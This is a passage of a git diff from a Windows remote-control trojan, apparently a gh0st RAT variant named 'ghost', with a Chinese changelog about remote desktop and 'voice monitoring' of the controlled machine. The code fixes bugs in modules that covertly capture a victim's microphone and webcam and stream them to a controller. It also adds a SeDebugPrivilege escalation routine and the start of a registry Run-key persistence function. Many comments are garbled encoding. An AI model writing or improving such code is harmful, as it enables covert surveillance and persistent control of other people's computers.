2、采用由Facebook所开发的速度更快的压缩库zstd,提高程序运行效率。
|
|
||||||
参看:https://github.com/facebook/zstd
|
|
||||||
|
|
||||||
2019.1.17
|
|
||||||
|
|
||||||
1、添加比zstd更快的压缩库(压缩率不如zstd和zlib)lz4 1.8.3,参看
|
|
||||||
https://github.com/lz4/lz4
|
|
||||||
|
|
||||||
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
|
|
||||||
|
|
||||||
3、修复语音监听的问题,2个事件CAudio修改为非"Manual Reset"。
|
|
||||||
|
|
||||||
2019.1.18
|
|
||||||
|
|
||||||
1、整理部分垃圾代码。
|
|
||||||
|
|
||||||
2、发布V1.0.0.2。
|
|
||||||
BIN
Releases/v1.0.6/ServerDll.dll
Normal file
BIN
Releases/v1.0.6/TestRun.exe
Normal file
BIN
Releases/v1.0.6/Yama.exe
Normal file
BIN
Releases/v1.0.6/ghost.exe
Normal file
@@ -87,8 +87,10 @@ CAudio::~CAudio()
|
|||||||
if (m_bIsWaveOutUsed)
|
if (m_bIsWaveOutUsed)
|
||||||
{
|
{
|
||||||
waveOutReset(m_hWaveOut);
|
waveOutReset(m_hWaveOut);
|
||||||
for (int i = 0; i < 2; ++i)
|
for (int i = 0; i < 2; ++i) {
|
||||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
if (m_InAudioHeader[i])
|
||||||
|
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
waveOutClose(m_hWaveOut);
|
waveOutClose(m_hWaveOut);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
}
|
}
|
||||||
|
|
||||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
if (m_Thread!=NULL)
|
||||||
ResumeThread(m_Thread);
|
{
|
||||||
|
ResumeThread(m_Thread);
|
||||||
|
}
|
||||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||||
|
|
||||||
m_bIsWaveInUsed = TRUE;
|
m_bIsWaveInUsed = TRUE;
|
||||||
@@ -147,10 +151,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
|||||||
{
|
{
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
if (dwBufferSize == NULL)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
SetEvent(m_hStartRecord);
|
SetEvent(m_hStartRecord);
|
||||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||||
*dwBufferSize = m_ulBufferLength;
|
*dwBufferSize = m_ulBufferLength;
|
||||||
@@ -181,7 +182,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
|||||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
if (mmResult != MMSYSERR_NOERROR)
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
return -1;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Msg.message == MM_WIM_CLOSE)
|
if (Msg.message == MM_WIM_CLOSE)
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ using namespace std;
|
|||||||
|
|
||||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
printf("new CAudioManager %x\n", this);
|
printf("new CAudioManager %p\n", this);
|
||||||
|
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
m_AudioObject = NULL;
|
m_AudioObject = NULL;
|
||||||
@@ -31,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
|||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
szPacket = NULL;
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
||||||
(LPVOID)this, 0, NULL);
|
(LPVOID)this, 0, NULL);
|
||||||
@@ -43,7 +44,8 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
case COMMAND_NEXT:
|
case COMMAND_NEXT:
|
||||||
{
|
{
|
||||||
NotifyDialogIsOpen();
|
if (1 == ulLength)
|
||||||
|
NotifyDialogIsOpen();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -77,17 +79,17 @@ BOOL CAudioManager::SendRecordBuffer()
|
|||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return 0;
|
return 0;
|
||||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
|
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||||
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||||
|
szPacket[dwBufferSize] = 0;
|
||||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
if (dwBufferSize > 0)
|
if (dwBufferSize > 0)
|
||||||
{
|
{
|
||||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||||
}
|
}
|
||||||
delete szPacket;
|
|
||||||
return dwReturn;
|
return dwReturn;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -103,7 +105,12 @@ CAudioManager::~CAudioManager()
|
|||||||
delete m_AudioObject;
|
delete m_AudioObject;
|
||||||
m_AudioObject = NULL;
|
m_AudioObject = NULL;
|
||||||
}
|
}
|
||||||
printf("~CAudioManager %x\n", this);
|
if (szPacket)
|
||||||
|
{
|
||||||
|
delete [] szPacket;
|
||||||
|
szPacket = NULL;
|
||||||
|
}
|
||||||
|
printf("~CAudioManager %p\n", this);
|
||||||
}
|
}
|
||||||
|
|
||||||
//USB
|
//USB
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ public:
|
|||||||
BOOL SendRecordBuffer();
|
BOOL SendRecordBuffer();
|
||||||
|
|
||||||
CAudio* m_AudioObject;
|
CAudio* m_AudioObject;
|
||||||
|
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||||
|
|||||||
@@ -30,102 +30,101 @@ CBuffer::~CBuffer(void)
|
|||||||
|
|
||||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength > GetBufferMaxLength())
|
if (ulLength > m_ulMaxLength)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if (ulLength > GetBufferLength())
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
if (ulLength > len)
|
||||||
{
|
{
|
||||||
ulLength = GetBufferLength();
|
ulLength = len;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ulLength)
|
if (ulLength)
|
||||||
{
|
{
|
||||||
CopyMemory(Buffer,m_Base,ulLength);
|
CopyMemory(Buffer,m_Base,ulLength);
|
||||||
|
|
||||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
|
||||||
m_Ptr -= ulLength;
|
m_Ptr -= ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
DeAllocateBuffer(GetBufferLength());
|
DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
|
||||||
|
|
||||||
return ulLength;
|
return ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
|
||||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferLength())
|
int len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
return 0;
|
if (ulLength < len)
|
||||||
|
return;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
|
||||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
if (m_ulMaxLength <= ulNewMaxLength)
|
||||||
{
|
{
|
||||||
return 0;
|
return;
|
||||||
}
|
}
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
if (NewBase == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
CopyMemory(NewBase,m_Base,len);
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
|
||||||
|
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
|
|
||||||
m_Ptr = m_Base + ulv1;
|
m_Ptr = m_Base + len;
|
||||||
|
|
||||||
m_ulMaxLength = ulNewMaxLength;
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == FALSE)
|
||||||
{
|
{
|
||||||
return false;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||||
|
|
||||||
m_Ptr+=ulLength;
|
m_Ptr+=ulLength;
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>泤<EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferMaxLength())
|
if (ulLength < m_ulMaxLength)
|
||||||
return 0;
|
return TRUE;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
if (NewBase == NULL)
|
if (NewBase == NULL)
|
||||||
{
|
{
|
||||||
return -1;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase, m_Base, len);
|
||||||
|
|
||||||
if (m_Base)
|
if (m_Base)
|
||||||
{
|
{
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
}
|
}
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
m_Ptr = m_Base + ulv1; //1024
|
m_Ptr = m_Base + len;
|
||||||
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
m_ulMaxLength = ulNewMaxLength; //2048
|
return TRUE;
|
||||||
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
VOID CBuffer::ClearBuffer()
|
VOID CBuffer::ClearBuffer()
|
||||||
{
|
{
|
||||||
m_Ptr = m_Base;
|
m_Ptr = m_Base;
|
||||||
@@ -135,27 +134,15 @@ VOID CBuffer::ClearBuffer()
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG CBuffer::GetBufferLength() const
|
||||||
{
|
{
|
||||||
if (m_Base == NULL)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferMaxLength() const
|
|
||||||
{
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
|
||||||
|
|
||||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||||
{
|
{
|
||||||
if (m_Base==NULL)
|
if (m_Base==NULL || ulPos>=((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
if (ulPos>=GetBufferLength())
|
|
||||||
{
|
{
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,12 +8,11 @@ public:
|
|||||||
CBuffer(void);
|
CBuffer(void);
|
||||||
~CBuffer(void);
|
~CBuffer(void);
|
||||||
|
|
||||||
ULONG GetBufferMaxLength() const;
|
|
||||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
VOID DeAllocateBuffer(ULONG ulLength);
|
||||||
VOID ClearBuffer();
|
VOID ClearBuffer();
|
||||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||||
|
|
||||||
|
|||||||
@@ -12,18 +12,23 @@ CSampleGrabberCB mCB;
|
|||||||
|
|
||||||
CCaptureVideo::CCaptureVideo()
|
CCaptureVideo::CCaptureVideo()
|
||||||
{
|
{
|
||||||
if(FAILED(CoInitialize(NULL)))
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
m_pCapture = NULL;
|
m_pCapture = NULL;
|
||||||
m_pGB = NULL;
|
m_pGB = NULL;
|
||||||
m_pMC = NULL;
|
m_pMC = NULL;
|
||||||
m_pVW = NULL;
|
m_pVW = NULL;
|
||||||
|
m_pBF = NULL;
|
||||||
|
m_pGrabber = NULL;
|
||||||
|
m_bExit = FALSE;
|
||||||
|
m_hWnd = NULL;
|
||||||
|
if (FAILED(CoInitialize(NULL)))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
CCaptureVideo::~CCaptureVideo()
|
CCaptureVideo::~CCaptureVideo()
|
||||||
{
|
{
|
||||||
|
m_bExit = TRUE;
|
||||||
if(m_pMC)m_pMC->StopWhenReady();
|
if(m_pMC)m_pMC->StopWhenReady();
|
||||||
if(m_pVW){
|
if(m_pVW){
|
||||||
m_pVW->put_Visible(OAFALSE);
|
m_pVW->put_Visible(OAFALSE);
|
||||||
@@ -39,7 +44,6 @@ CCaptureVideo::~CCaptureVideo()
|
|||||||
CoUninitialize() ;
|
CoUninitialize() ;
|
||||||
}
|
}
|
||||||
|
|
||||||
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||||
{
|
{
|
||||||
printf("CCaptureVideo call Open\n");
|
printf("CCaptureVideo call Open\n");
|
||||||
@@ -254,14 +258,16 @@ void CCaptureVideo::SendEnd() //
|
|||||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||||
{
|
{
|
||||||
BYTE *szBuffer = NULL;
|
BYTE *szBuffer = NULL;
|
||||||
|
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NULL
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||||
{
|
{
|
||||||
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
} while (szBuffer==NULL);
|
Sleep(50);
|
||||||
|
} while (!m_bExit && --n);
|
||||||
|
|
||||||
return szBuffer;
|
return szBuffer;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public:
|
|||||||
LPBITMAPINFO m_BitmapInfor_Full;
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
BYTE* m_BitmapData_Full;
|
BYTE* m_BitmapData_Full;
|
||||||
BOOL bStact;
|
BOOL bStact;
|
||||||
DWORD m_dwSize;
|
DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||||
|
|
||||||
CSampleGrabberCB()
|
CSampleGrabberCB()
|
||||||
{
|
{
|
||||||
@@ -152,6 +152,7 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
extern CSampleGrabberCB mCB;
|
||||||
|
|
||||||
class CCaptureVideo
|
class CCaptureVideo
|
||||||
{
|
{
|
||||||
@@ -165,6 +166,10 @@ public:
|
|||||||
|
|
||||||
LPBYTE GetDIB(DWORD& dwSize);
|
LPBYTE GetDIB(DWORD& dwSize);
|
||||||
|
|
||||||
|
int GetDIBBufSize() const { return mCB.m_dwSize; }
|
||||||
|
|
||||||
|
BOOL m_bExit;
|
||||||
|
|
||||||
HWND m_hWnd;
|
HWND m_hWnd;
|
||||||
|
|
||||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||||
|
|||||||
@@ -7,12 +7,26 @@
|
|||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
#include <iosfwd>
|
||||||
|
#include <vector>
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <shellapi.h>
|
||||||
|
#include <corecrt_io.h>
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
char g_szServerIP[MAX_PATH] = {0};
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
unsigned short g_uPort = 0;
|
#define REG_NAME "a_ghost"
|
||||||
bool g_bExit = false;
|
|
||||||
bool g_bThreadExit = false;
|
// Զ<>̵<EFBFBD>ַ
|
||||||
|
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
|
||||||
|
|
||||||
|
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL g_bExit = 0;
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||||
|
BOOL g_bThreadExit = 0;
|
||||||
|
|
||||||
HINSTANCE g_hInstance = NULL;
|
HINSTANCE g_hInstance = NULL;
|
||||||
DWORD WINAPI StartClient(LPVOID lParam);
|
DWORD WINAPI StartClient(LPVOID lParam);
|
||||||
|
|
||||||
@@ -20,6 +34,66 @@ DWORD WINAPI StartClient(LPVOID lParam);
|
|||||||
|
|
||||||
enum { E_RUN, E_STOP } status;
|
enum { E_RUN, E_STOP } status;
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
void DebugPrivilege()
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||||
|
|
||||||
|
if (hRet)
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||||
|
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||||
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||||
|
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||||
|
{
|
||||||
|
DebugPrivilege();
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
